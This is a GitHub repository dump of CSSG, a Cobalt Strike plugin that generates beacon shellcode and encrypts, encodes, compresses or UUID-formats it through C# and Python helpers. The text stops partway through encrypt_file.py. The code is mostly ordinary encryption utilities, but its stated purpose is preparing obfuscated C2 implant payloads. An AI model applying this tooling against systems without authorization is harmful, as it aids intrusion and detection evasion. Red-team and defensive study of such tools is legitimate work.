├── CSSG_gui2.png ├── CSSG_load.cna ├── LICENSE ├── README.md ├── assets ├── Encryptor.exe ├── Encryptor │ ├── .vs │ │ └── Encryptor │ │ │ └── v16 │ │ │ └── .suo │ ├── Encryptor.csproj │ ├── Encryptor.sln │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── bin │ │ └── Debug │ │ │ ├── Encryptor.exe │ │ │ └── Encryptor.pdb │ └── obj │ │ └── Debug │ │ ├── .NETFramework,Version=v4.7.2.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── Encryptor.csproj.AssemblyReference.cache │ │ ├── Encryptor.csproj.CoreCompileInputs.cache │ │ ├── Encryptor.csproj.FileListAbsolute.txt │ │ ├── Encryptor.exe │ │ └── Encryptor.pdb ├── bin2uuids_file.py └── encrypt_file.py ├── build └── build.txt ├── help └── shellcode_generator_help.html └── scripts └── shellcode_generator.cna /CSSG_gui2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/CSSG_gui2.png -------------------------------------------------------------------------------- /CSSG_load.cna: -------------------------------------------------------------------------------- 1 | # CSSG Cobalt Strike Shellcode Generator 2 | # Inspired by @offsec_ginger https://github.com/offsecginger/AggressorScripts 3 | # 4 | # Shellcode Generator 5 | # 6 | # Add "Shellcode" top menubar button, "Shellcode Generator" submenu item, and load shellcode_generator.cna on click 7 | 8 | # Location of shellcode generator cna 9 | $SCGEN = "/scripts/shellcode_generator.cna"; 10 | 11 | menubar("Shellcode", "shellcodegen", 2); 12 | popup shellcodegen { 13 | 14 | item "&Shellcode Generator" { 15 | @aggressor = script_resource(($SCGEN).""); 16 | println(@aggressor); 17 | include(@aggressor); 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2023, Ryan Stephenson 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CSSG 2 | 3 | # Cobalt Strike Shellcode Generator 4 | 5 | Ryan Stephenson (RCStep) 6 | 7 | Adds Shellcode - Shellcode Generator to the Cobalt Strike top menu bar 8 | 9 | ![Alt text](CSSG_gui2.png?raw=true) 10 | 11 | CSSG is aggressor, .NET, and python scripts used to more easily generate and format beacon shellcode 12 | 13 | Generates beacon stageless shellcode with exposed exit method, additional formatting, encryption, encoding, compression, multiline output, etc 14 | 15 | **shellcode transforms are done in the descending order they are listed in the menu** 16 | 17 | --- 18 | 19 | **Requirements:** 20 | The RC4/AES encryption option uses a python script or .NET assembly in the /assets folder 21 | Python based encryption depends on the pycryptodome package to be installed to perform the RC4/AES encryption 22 | 23 | Install pycryptodome with pip depending on your python environment: 24 | 25 | python -m pip install pycryptodome 26 | python3 -m pip install pycryptodome 27 | py -3 -m pip install pycryptodome 28 | py -2 -m pip install pycryptodome 29 | 30 | You can check that pycryptodome is present after the pip install with a command like: 31 | 32 | python -m pip list | grep crypto 33 | 34 | The generator will use your client host's default "python" command to launch the RC4/AES encryption script 35 | 36 | Your client host needs to be able to execute native .NET framework assemblies for the RC4/AES .exe backend option 37 | 38 | --- 39 | 40 | ***Options for the shellcode generator are:*** 41 | 42 | **Listener:** 43 | Select a valid listener with the "..." button. Shellcode will be generated form this listener selection 44 | 45 | **Delivery:** 46 | Stageless (Staged not supported for the shellcode generator) 47 | 48 | **Exit Method:** 49 | process - exits the entire process that Beacon is present in when the beacon is closed 50 | thread - exits only the thread in which Beacon is running when the beacon is closed 51 | 52 | **Beacon Syscalls Method:** 53 | none 54 | direct 55 | indirect 56 | 57 | **Beacon HTTP Library:** 58 | wininet 59 | winhttp 60 | 61 | **Local Pointers Checkbox:** 62 | May use if you are going to execute the shellcode from an existing Beacon 63 | Generates a Beacon shellcode payload that inherits key function pointers from a same-arch parent Beacon 64 | 65 | **Existing Session:** 66 | The parent Beacon session where the shellcode will pull session metadata 67 | Shellcode should be run from within this Beacon session 68 | 69 | **x86 Checkbox:** 70 | Check to generate x86 shellcode, x64 is generated by default 71 | 72 | **Or Use Shellcode File:** 73 | Use an externally generated raw shellcode file in lieu of generating Beacon shellcode 74 | This allows you to use other exported Beacon files or output from other tools (Donut, msfvenom, etc) 75 | 76 | **Formatting:** 77 | raw - raw binary shellcode output, no formatting applied 78 | hex - hex formatted shellcode output 79 | 0x90,0x90,0x90 - shellcode formatted into a C# style byte array 80 | 0x90uy;0x90uy;0x90uy - shellcode formatted into a F# style byte array 81 | \x90\x90\x90 - shellcode formatted into a C\C++ style byte array 82 | UUID - shellcode transformed into UUID strings with a python script (padded with \x90s for 16 byte chunks) 83 | b64 - option to base64 encode the shellcode early in the generation process (before any encryption) 84 | 85 | **XOR Encrypt Shellcode Checkbox:** 86 | Check to XOR encrypt the shellcode (only one encryption type can be selected at a time) 87 | 88 | **XOR Key(s):** 89 | Randomly generated and editable XOR key character(s) to use for encryption 90 | Multiple characters will result in multiple rounds of XOR encryption (i.e. ABCDE) 91 | 92 | **RC4 Encrypt Shellcode Checkbox:** 93 | Check to RC4 encrypt the shellcode (only one encryption type can be selected at a time) 94 | Uses a python script or .NET Framework assembly to perform RC4 encryption 95 | 96 | **AES Encrypt Shellcode Checkbox:** 97 | Check to AES encrypt the shellcode (only one encryption type can be selected at a time) 98 | Uses a python script or .NET Framework assembly to perform AES Block Cipher AES-CBC encryption 99 | Shellcode is padded with \0 values to reach block size requirements 100 | A randomly generated IV is prepended to the encrypted shellcode data 101 | 102 | **RC4/AES Backend Checkbox:** 103 | Check to use a .NET exe assembly to encrypt your shellcode file 104 | Unchecked uses a python script to encrypt your shellcode file 105 | Encryption key byte lengths accepted for AES are 16, 24, and 32 106 | Encryption key byte lengths for RC4 are ANY when using .NET, and 5 bytes minium when using python 107 | 108 | **RC4/AES Backend tools:** 109 | A python script and compiled .NET assembly are in the assets directory 110 | Source folder for the Encryptor assembly is there as well for self compliation if you dont trust me (I wouldn't) 111 | Both of these tools can encrypt and decrypt RC4/AES shellcode/files 112 | 113 | encrypt_file.py Usage: 114 | 115 | encrypt_file.py [aes/rc4] [encrypt/decrypt] [key] [input file] [output file] 116 | 117 | Encryptor.exe Usage: 118 | 119 | Encryptor.exe [aes/rc4] [encrypt/decrypt] [key] [input file] [output file] 120 | 121 | **RC4 or AES Key** 122 | Randomly generated and editable RC4/AES key to use for encryption 123 | 32 byte AES key is generated and preferred for 256 bit AES encryption strength 124 | AES Encryption key byte lengths accepted are 16, 24, and 32 125 | RC4 key lenghth is 1 byte minimum if using .NET and 5 bytes minium if using python 126 | 127 | **Encoding/Compression:** 128 | none - No additional encoding or compression is done to the shellcode 129 | b64 - base64 encode the shellcode 130 | gzip then b64 - gzip compress then base64 the shellcode 131 | gzip - gzip compress the shellcode 132 | b64 then gzip - base64 then gzip compress the shellcode 133 | b64 then 7xgzip - base64 then gzip compress the shellcode 7 times 134 | 135 | **Multiline Output:** 136 | Can be used for non-raw/binary output formats 137 | none - no multiline formatting, shellcode is one long string 138 | quoted - Shellcode is broken up into lines surround by quotation marks 139 | chunks.push_back - Shellcode is broken up into lines surrounded by chunks.push_back(" and "); 140 | 141 | **Multiline Length:** 142 | Number of shellcode characters in each line if a multiline output option is selected 143 | 144 | **Generate Button:** 145 | Select directory for shellcode output 146 | Defalut filename will be beacon but can be changed 147 | Any encryption key used will be displayed in a popup and also written the Cobalt Strike Script Console 148 | The byte size of the raw beacon shellcode and final formatted beacon shellcode will be displayed in a popup and also written to the Script Console 149 | Location of files used to generate/build the shellcode are all set the scripts/shellcode_generator.cna file 150 | 151 | --- 152 | 153 | Inspired by the work of many infosec contributors 154 | -------------------------------------------------------------------------------- /assets/Encryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor.exe -------------------------------------------------------------------------------- /assets/Encryptor/.vs/Encryptor/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/.vs/Encryptor/v16/.suo -------------------------------------------------------------------------------- /assets/Encryptor/Encryptor.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6} 8 | Exe 9 | Encryptor 10 | Encryptor 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | none 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /assets/Encryptor/Encryptor.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.33423.256 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Encryptor", "Encryptor.csproj", "{27780A45-FC10-4E68-A461-FCCEAF2D1BD6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {27780A45-FC10-4E68-A461-FCCEAF2D1BD6}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {8AED7980-FCAA-4FE2-802C-FF295A4C9D9D} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /assets/Encryptor/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Text; 4 | using System.IO; 5 | using System.Security.Cryptography; 6 | 7 | namespace Encryptor 8 | { 9 | class Program 10 | { 11 | static void Main(string[] args) 12 | { 13 | try 14 | { 15 | if (args.Length != 5) 16 | { 17 | Console.WriteLine("Usage: Encryptor.exe "); 18 | Console.WriteLine("AES key: 16, 24 or 32 byte long key"); 19 | Console.WriteLine("RC4 key: Any length value or phrase. Phrase with spaces needs to be in \"\""); 20 | Environment.Exit(1); 21 | } 22 | 23 | string OutFile = args[4]; 24 | string PayloadPath = args[3]; 25 | string key = args[2]; 26 | string encryption = args[0]; 27 | 28 | // Check byte key length; exit if not 16, 24, or 32 29 | if (!(new[] { 16, 24, 32 }.Contains(Buffer.ByteLength(Encoding.UTF8.GetBytes(key)))) & encryption == "aes") 30 | { 31 | Console.WriteLine("[!] Encryption key must be 16, 24, or 32 bytes long"); 32 | Environment.Exit(1); 33 | } 34 | 35 | byte[] Shellcode = File.ReadAllBytes(PayloadPath); 36 | Console.WriteLine("[*] Read file bytes: " + Shellcode.Length); 37 | //string B64Shellcode = Convert.ToBase64String(Shellcode); 38 | 39 | if (encryption == "aes" & args[1].Equals("encrypt", StringComparison.OrdinalIgnoreCase)) 40 | { 41 | byte[] EncryptedShellcode = AES_Encrypt(key, Shellcode); 42 | Console.WriteLine("[*] AES encrypted file bytes: " + EncryptedShellcode.Length); 43 | WriteShellcodeToFile(EncryptedShellcode, OutFile); 44 | Console.WriteLine("[*] File encrypted and written to: " + OutFile); 45 | } 46 | 47 | else if (encryption == "aes" & args[1].Equals("decrypt", StringComparison.OrdinalIgnoreCase)) 48 | { 49 | byte[] EncryptedShellcode = AES_Decrypt(key, Shellcode); 50 | Console.WriteLine("[*] AES decrypted file bytes: " + EncryptedShellcode.Length); 51 | WriteShellcodeToFile(EncryptedShellcode, OutFile); 52 | Console.WriteLine("[*] File decrypted and written to: " + OutFile); 53 | } 54 | 55 | else if (encryption == "rc4" & args[1].Equals("encrypt", StringComparison.OrdinalIgnoreCase)) 56 | { 57 | byte[] EncryptedShellcode = RC4_Encrypt(key, Shellcode); 58 | Console.WriteLine("[*] RC4 encrypted file bytes: " + EncryptedShellcode.Length); 59 | WriteShellcodeToFile(EncryptedShellcode, OutFile); 60 | Console.WriteLine("[*] File encrypted and written to: " + OutFile); 61 | } 62 | 63 | else if (encryption == "rc4" & args[1].Equals("decrypt", StringComparison.OrdinalIgnoreCase)) 64 | { 65 | byte[] EncryptedShellcode = RC4_Decrypt(key, Shellcode); 66 | Console.WriteLine("[*] RC4 decrypted file bytes: " + EncryptedShellcode.Length); 67 | WriteShellcodeToFile(EncryptedShellcode, OutFile); 68 | Console.WriteLine("[*] File decrypted and written to: " + OutFile); 69 | } 70 | } 71 | 72 | catch (Exception ex) 73 | { 74 | Console.WriteLine("Error: {0}", ex.ToString()); 75 | } 76 | } 77 | 78 | // AES Encryption function 79 | public static byte[] AES_Encrypt(string key, byte[] data) 80 | { 81 | byte[] enc; 82 | 83 | using (Aes aes = Aes.Create()) 84 | { 85 | aes.Key = Encoding.UTF8.GetBytes(key); 86 | 87 | Console.WriteLine("[*] Key bytes: " + aes.Key.Length); 88 | Console.WriteLine("[*] Padding mode: " + (byte)aes.Padding); 89 | Console.WriteLine("[*] AES keysize: " + aes.KeySize); 90 | Console.WriteLine("[*] AES blockSize: " + aes.BlockSize); 91 | 92 | using (MemoryStream ms = new MemoryStream()) 93 | { 94 | // Write the first 16 bytes which is a random IV. 95 | aes.GenerateIV(); 96 | byte[] iv = aes.IV; 97 | ms.Write(iv, 0, iv.Length); 98 | 99 | Console.WriteLine("[*] IV length: " + aes.IV.Length); 100 | Console.WriteLine("[*] IV bytes: " + BitConverter.ToString(aes.IV)); 101 | 102 | using (CryptoStream cs = new CryptoStream((Stream)ms, aes.CreateEncryptor(aes.Key, aes.IV), CryptoStreamMode.Write)) 103 | { 104 | cs.Write(data, 0, data.Length); 105 | cs.FlushFinalBlock(); 106 | } 107 | 108 | enc = ms.ToArray(); 109 | ms.Close(); 110 | } 111 | } 112 | //Console.WriteLine("[*] Encrypted Bytes:" + enc); 113 | return enc; 114 | } 115 | 116 | // AES Decryption function 117 | public static byte[] AES_Decrypt(string key, byte[] data) 118 | { 119 | byte[] dec; 120 | 121 | using (Aes aes = Aes.Create()) 122 | { 123 | aes.Key = Encoding.UTF8.GetBytes(key); 124 | 125 | Console.WriteLine("[*] Key bytes: " + aes.Key.Length); 126 | Console.WriteLine("[*] Padding mode: " + (byte)aes.Padding); 127 | Console.WriteLine("[*] AES keysize: " + aes.KeySize); 128 | Console.WriteLine("[*] AES blockSize: " + aes.BlockSize); 129 | 130 | using (MemoryStream ms = new MemoryStream(data)) 131 | { 132 | // Read the first 16 bytes which is the IV. 133 | byte[] iv = new byte[16]; 134 | ms.Read(iv, 0, iv.Length); 135 | aes.IV = iv; 136 | 137 | Console.WriteLine("[*] IV length: " + aes.IV.Length); 138 | Console.WriteLine("[*] IV bytes: " + BitConverter.ToString(aes.IV)); 139 | } 140 | 141 | using (MemoryStream ms = new MemoryStream()) 142 | { 143 | using (CryptoStream cs = new CryptoStream((Stream)ms, aes.CreateDecryptor(aes.Key, aes.IV), CryptoStreamMode.Write)) 144 | { 145 | //Provide IV offset, expected length of decrypted plaintext, and write to CryptoStream 146 | int DecryptedLength = (data.Length - aes.IV.Length); 147 | cs.Write(data, aes.IV.Length, DecryptedLength); 148 | cs.Close(); 149 | } 150 | 151 | dec = ms.ToArray(); 152 | ms.Close(); 153 | } 154 | } 155 | //Console.WriteLine("[*] Decrypted Bytes:" + dec); 156 | return dec; 157 | } 158 | 159 | // RC4 Encryption function 160 | public static byte[] RC4_Encrypt(string key, byte[] data) 161 | { 162 | byte[] bkey = Encoding.UTF8.GetBytes(key); 163 | 164 | byte[] enc = RC4.Apply(data, bkey); 165 | 166 | return enc; 167 | } 168 | 169 | // RC4 Decryption function 170 | public static byte[] RC4_Decrypt(string key, byte[] data) 171 | { 172 | byte[] bkey = Encoding.UTF8.GetBytes(key); 173 | 174 | byte[] dec = RC4.Apply(data, bkey); 175 | 176 | return dec; 177 | } 178 | 179 | public static void WriteShellcodeToFile(byte[] EncryptedShellcode, string OutFile) 180 | { 181 | //string B64Shellcode = Convert.ToBase64String(EncryptedShellcode); 182 | 183 | Console.WriteLine("[*] Byes written to file: " + EncryptedShellcode.Length); 184 | 185 | //File.WriteAllText($"{OutFile}", B64Shellcode); 186 | File.WriteAllBytes($"{OutFile}", EncryptedShellcode); 187 | } 188 | } 189 | 190 | // RC4 Encryption/Decryption class 191 | public static class RC4 192 | { 193 | /// RC4 class sourced from: https://github.com/manbeardgames/RC4 194 | /// MIT License 195 | /// 196 | /// Give data and an encryption key, apply RC4 cryptography. RC4 is symmetric, 197 | /// which means this single method will work for encrypting and decrypting. 198 | /// 199 | /// 200 | /// https://en.wikipedia.org/wiki/RC4 201 | /// 202 | /// 203 | /// Byte array representing the data to be encrypted/decrypted 204 | /// 205 | /// 206 | /// Byte array representing the key to use 207 | /// 208 | /// 209 | /// Byte array representing the encrypted/decrypted data. 210 | /// 211 | public static byte[] Apply(byte[] data, byte[] key) 212 | { 213 | // Key Scheduling Algorithm Phase: 214 | // KSA Phase Step 1: First, the entries of S are set equal to the values of 0 to 255 215 | // in ascending order. 216 | int[] S = new int[256]; 217 | for (int _ = 0; _ < 256; _++) 218 | { 219 | S[_] = _; 220 | } 221 | 222 | // KSA Phase Step 2a: Next, a temporary vector T is created. 223 | int[] T = new int[256]; 224 | 225 | // KSA Phase Step 2b: If the length of the key k is 256 bytes, then k is assigned to T. 226 | if (key.Length == 256) 227 | { 228 | Buffer.BlockCopy(key, 0, T, 0, key.Length); 229 | } 230 | else 231 | { 232 | // Otherwise, for a key with a given length, copy the elements of 233 | // the key into vector T, repeating for as many times as neccessary to 234 | // fill T 235 | for (int _ = 0; _ < 256; _++) 236 | { 237 | T[_] = key[_ % key.Length]; 238 | } 239 | } 240 | 241 | // KSA Phase Step 3: We use T to produce the initial permutation of S ... 242 | int i = 0; 243 | int j = 0; 244 | for (i = 0; i < 256; i++) 245 | { 246 | // increment j by the sum of S[i] and T[i], however keeping it within the 247 | // range of 0 to 255 using mod (%) division. 248 | j = (j + S[i] + T[i]) % 256; 249 | 250 | // Swap the values of S[i] and S[j] 251 | int temp = S[i]; 252 | S[i] = S[j]; 253 | S[j] = temp; 254 | } 255 | 256 | // Pseudo random generation algorithm (Stream Generation): 257 | // Once the vector S is initialized from above in the Key Scheduling Algorithm Phase, 258 | // the input key is no longer used. In this phase, for the length of the data, we ... 259 | i = j = 0; 260 | byte[] result = new byte[data.Length]; 261 | for (int iteration = 0; iteration < data.Length; iteration++) 262 | { 263 | // PRGA Phase Step 1. Continously increment i from 0 to 255, starting it back 264 | // at 0 once we go beyond 255 (this is done with mod (%) division 265 | i = (i + 1) % 256; 266 | 267 | // PRGA Phase Step 2. Lookup the i'th element of S and add it to j, keeping the 268 | // result within the range of 0 to 255 using mod (%) division 269 | j = (j + S[i]) % 256; 270 | 271 | // PRGA Phase Step 3. Swap the values of S[i] and S[j] 272 | int temp = S[i]; 273 | S[i] = S[j]; 274 | S[j] = temp; 275 | 276 | // PRGA Phase Step 4. Use the result of the sum of S[i] and S[j], mod (%) by 256, 277 | // to get the index of S that handls the value of the stream value K. 278 | int K = S[(S[i] + S[j]) % 256]; 279 | 280 | // PRGA Phase Step 5. Use bitwise exclusive OR (^) with the next byte in the data to 281 | // produce the next byte of the resulting ciphertext (when 282 | // encrypting) or plaintext (when decrypting) 283 | result[iteration] = Convert.ToByte(data[iteration] ^ K); 284 | } 285 | 286 | // return the result 287 | return result; 288 | } 289 | } 290 | } 291 | -------------------------------------------------------------------------------- /assets/Encryptor/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ScEncryptor")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ScEncryptor")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("27780a45-fc10-4e68-a461-fcceaf2d1bd6")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /assets/Encryptor/bin/Debug/Encryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/bin/Debug/Encryptor.exe -------------------------------------------------------------------------------- /assets/Encryptor/bin/Debug/Encryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/bin/Debug/Encryptor.pdb -------------------------------------------------------------------------------- /assets/Encryptor/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] 5 | -------------------------------------------------------------------------------- /assets/Encryptor/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /assets/Encryptor/obj/Debug/Encryptor.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/obj/Debug/Encryptor.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /assets/Encryptor/obj/Debug/Encryptor.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 277526e6458b7c0ee0115c49957c0929904d1374 2 | -------------------------------------------------------------------------------- /assets/Encryptor/obj/Debug/Encryptor.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Tools\cobaltstrike\aggressors\CSSG\assets\Encryptor\bin\Debug\Encryptor.exe 2 | C:\Tools\cobaltstrike\aggressors\CSSG\assets\Encryptor\bin\Debug\Encryptor.pdb 3 | C:\Tools\cobaltstrike\aggressors\CSSG\assets\Encryptor\obj\Debug\Encryptor.csproj.CoreCompileInputs.cache 4 | C:\Tools\cobaltstrike\aggressors\CSSG\assets\Encryptor\obj\Debug\Encryptor.exe 5 | C:\Tools\cobaltstrike\aggressors\CSSG\assets\Encryptor\obj\Debug\Encryptor.pdb 6 | C:\Tools\cobaltstrike\aggressors\CSSG\assets\Encryptor\obj\Debug\Encryptor.csproj.AssemblyReference.cache 7 | -------------------------------------------------------------------------------- /assets/Encryptor/obj/Debug/Encryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/obj/Debug/Encryptor.exe -------------------------------------------------------------------------------- /assets/Encryptor/obj/Debug/Encryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCStep/CSSG/cee5038b1c1c21a20109950826910135beac22cf/assets/Encryptor/obj/Debug/Encryptor.pdb -------------------------------------------------------------------------------- /assets/bin2uuids_file.py: -------------------------------------------------------------------------------- 1 | # Modified code from: https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala and https://github.com/boku7/Ninja_UUID_Runner/blob/main/bin2uuids.py 2 | #!usr/bin/python3 3 | 4 | from uuid import UUID 5 | import sys 6 | 7 | if len(sys.argv) < 2: 8 | print("Usage: %s " % sys.argv[0]) 9 | sys.exit(1) 10 | 11 | def uuid(in_file, out_file): 12 | sys.stdout = open(out_file, 'w') 13 | 14 | with open(in_file, "rb") as f: 15 | chunk = f.read(16) 16 | while chunk: 17 | if len(chunk) < 16: 18 | padding = 16 - len(chunk) 19 | chunk = chunk + (b"\x90" * padding) 20 | print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk))) 21 | break 22 | print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk))) 23 | chunk = f.read(16) 24 | 25 | uuid((sys.argv[1]), (sys.argv[2])) -------------------------------------------------------------------------------- /assets/encrypt_file.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys 4 | from Crypto import Random 5 | from Crypto.Cipher import AES 6 | from Crypto.Util.Padding import pad, unpad 7 | from Crypto.Cipher import ARC4 8 | from base64 import b64encode, b64decode 9 | 10 | """ 11 | Requirements: 12 | Must have pycryptodome installed. 13 | 14 | Install examples: 15 | python -m pip install pycryptodome 16 | python3 -m pip install pycryptodome 17 | py -3 -m pip install pycryptodome 18 | py -2 -m pip install pycryptodome 19 | 20 | Check pip installation example: 21 | python -m pip list | grep crypto 22 | 23 | Usage: (-h for help) 24 | python aes_file.py <16, 24 or 32 byte long key> 25 | 26 | Encryption Key should be 32 characters(bytes) long for 256bit AES encryption 27 | Random 16 byte IV is written to the start of the encrypted message 28 | 29 | """ 30 | 31 | def aes_encrypt(message, key, key_size=256): 32 | message = pad(message, AES.block_size, style='pkcs7') 33 | iv = Random.new().read(AES.block_size) 34 | cipher = AES.new(key, AES.MODE_CBC, iv) 35 | return iv + cipher.encrypt(message) 36 | 37 | def aes_decrypt(ciphertext, key): 38 | iv = ciphertext[:AES.block_size] 39 | cipher = AES.new(key, AES.MODE_CBC, iv) 40 | plaintext = unpad(cipher.decrypt(ciphertext[AES.block_size:]), AES.block_size, style='pkcs7') 41 | return plaintext 42 | 43 | def aes_encrypt_file(key, in_file, out_file): 44 | with open(in_file, 'rb') as fo: 45 | plaintext = fo.read() 46 | #plaintext = b64encode(plaintext) 47 | enc = aes_encrypt(plaintext, key) 48 | #enc = b64encode(enc) 49 | with open(out_file, 'wb') as fo: 50 | fo.write(enc) 51 | print(f'[*] Read File Bytes: {len(plaintext)}') 52 | print(f'[*] AES Encrypted File Bytes: {len(enc)}') 53 | print("[*] AES encrypted file written to: " + out_file) 54 | 55 | def aes_decrypt_file(key, in_file, out_file): 56 | with open(in_file, 'rb') as fo: 57 | ciphertext = fo.read() 58 | #ciphertext = b64decode(ciphertext) 59 | dec = aes_decrypt(ciphertext, key) 60 | #dec = b64decode(dec) 61 | with open(out_file, 'wb') as fo: 62 | fo.write(dec) 63 | print(f'[*] Read File Bytes: {len(ciphertext)}') 64 | print(f'[*] AES Decrypted File Bytes: {len(dec)}') 65 | print("[*] AES decrypted file written to: " + out_file) 66 | 67 | def rc4_encrypt_file(key, in_file, out_file): 68 | with open(in_file, 'rb') as 